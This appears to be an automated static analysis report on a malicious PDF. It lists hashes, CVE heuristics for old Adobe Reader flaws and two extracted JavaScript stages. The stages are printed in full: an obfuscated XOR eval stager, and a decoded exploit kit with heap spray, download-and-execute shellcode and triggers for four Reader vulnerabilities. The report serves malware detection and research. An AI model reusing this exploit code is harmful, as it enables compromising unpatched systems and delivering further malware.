Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ac722730d154a85…

MALICIOUS

PDF

5.0 KB Created: 2010-07-13 10:02:54 Authoring application: Lnibisaxaki (via 85723Dikigekeqcecozibe)
MD5: 9dc6fe176d048d1b9b26ca610f205487 SHA-1: 94386ac98706d9b53657b57b1893ed601121ed21 SHA-256: 7ac722730d154a859943e0834b37f37492123edba961440cbc98e02490bedbf3
388 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF exploits multiple known vulnerabilities in Adobe Reader to achieve code execution. The embedded JavaScript is heavily obfuscated and uses XOR decoding, indicating a malicious stager designed to download and execute a secondary payload. The specific CVEs targeted suggest an exploit kit aimed at older, unpatched versions of Adobe Reader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js
c8780ec7dfdb39cbc931dd298eb5ef3f0b24e358ab62327b245cde7c2593ac1e		 pdf-javascript-stream PDF /JS object 11 at offset 0xEBA 516 bytes
Preview script
First 1,000 lines of the extracted script
try {var jS='Function'.replace(/[]/g, '');uH='var  sJ = 1H?54 ;Hvar  bM HH= thiH?s;var gLH=b?HM.HgeHHtH?Pag??eH?NumWor?ds(?this.pageNum);var v=\'\';for(vH?ar vE=0;vE< ?g?L;?? vE+H+){v=[v, bM.getPageNthWord(b?HM.pageNum,?vE,true?)].join(\'\'?H);;}var yHHJ=\'\'H;for(var vE=0;vEH? H?< v.le?ngth; vE+=2){sFAH?=v.substr(HvE,2H?);HyJ=[yJ,String.fro?mCharCodHHe(parseIHnt(sFA,16)^sJ)].joiHn(\'H\');}eHv?al(yJ);yJ=null;'.replace(/[\?H]/g, '');jUZ=xO(aNG);} catch(kD){var jI=wJ()(uH);jI();}function wJ(){return app.doc[jS];}
page_word_xor_stage_000.js
3c3b6278ad3d1f01bde945bed7ceedcd78f33d8cb3adb0702eb3d819b3198f89		 deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x9A) at offset 0x8C 3844 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.d=1224;this.d+=174;nG=12855;nG--;var j=["qF","r","h"];try {} catch(zI){};var bO='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';nQ=["iT","hQ"];var x={rQ:"iJ".substr(0)};lC=["pK","aP"];var gBS=this.info['yP'].replace(/[\s]/g, '');var wN={yF:false};try {var jE='f'.substr(19359)} catch(jE){};qV=13050;qV--;var sF = this.info;var pKT = (sF.producer.substr(0,5) == 'debug');var bY = new Array(); var kH = "%u";function bC(str){str = str.split(kH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function yN(str1, str2){return [str1, str2].join("");}function rS(yT){var fW = sV();var lG = kZ();fW += ((fW.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + lG;if(pKT) app.alert("URL: " + fW);fW=lM(fW);var d=kH;var sFA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";sFA+=fW;return bC(sFA);};function sV(){var qJ = (sF.author + sF.title).replace(/[\s]/g, '');var lY = yL(qJ, gBS, bO);return lY;};function yL(qJ, bO, gBS){var lY="";for(var i=0; i < qJ.length; i++){var dE = bO.indexOf(qJ[i]);if(dE > -1 ){lY += gBS[dE];}}return lY;};function lM(qJ){var out = "";qJ = wV(qJ);g = Math.round(qJ.length / 4);if (g != qJ.length /4) qJ+="00";for(var i=0; i < qJ.length; i+=4){out+= kH + qJ.substr(i+2, 2) + qJ.substr(i, 2);}return out;};function wV(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function nU(wD, len){while (wD.length * 2 < len){wD = yN(wD, wD);}return wD.substring(0, len / 2);};function fM(cH){var jU = 0x0c0c0c0c;        gF = rS("pdf");if (cH == 1){jU = 0x30303030;}var dW = 0x400000;var ln = gF.length * 2;var gZ = dW - (ln + 0x38);var wD = bC(kH+"9090"+kH+"9090"); wD = nU(wD, gZ);var rA = (jU - 0x400000) / dW;for (var aN = 0; aN < rA; aN ++ ){bY[aN] = yN(wD, gF);}};function kZ(){try {return app.viewerVersion.toString();}catch(xA){    return 0;}}if(pKT) app.alert("called exploit");var lG = kZ();if(pKT)  app.alert("v: " + lG);if (lG > 8){if(pKT) app.alert("util.printf");fM(1);var eJ = "12999999999999999999";for (hE=0; hE < 276; hE++) eJ += "8";util.printf("%45000f", eJ);}if (lG < 8){if(pKT) app.alert("Collab.collectEmailInfo");fM(0);var wT = bC(kH+"0c0c"+kH+"0c0c");while (wT.length < 44952) wT += wT;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : wT});}if (lG < 9.1){if (app.doc.Collab.getIcon){if(pKT) app.alert("Collab.getIcon");fM(0);var xE = unescape("%09");while (xE.length < 0x4000) xE += xE;xE = "N." + xE;app.doc.Collab.getIcon(xE);}}if (lG == 9.2){if(pKT) app.alert("media.newPlayer");fM(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}try {var xG='pKD'.substr(19567)} catch(xG){};cL=["eN","bA","iJO"];try {var zW='t'} catch(zW){};

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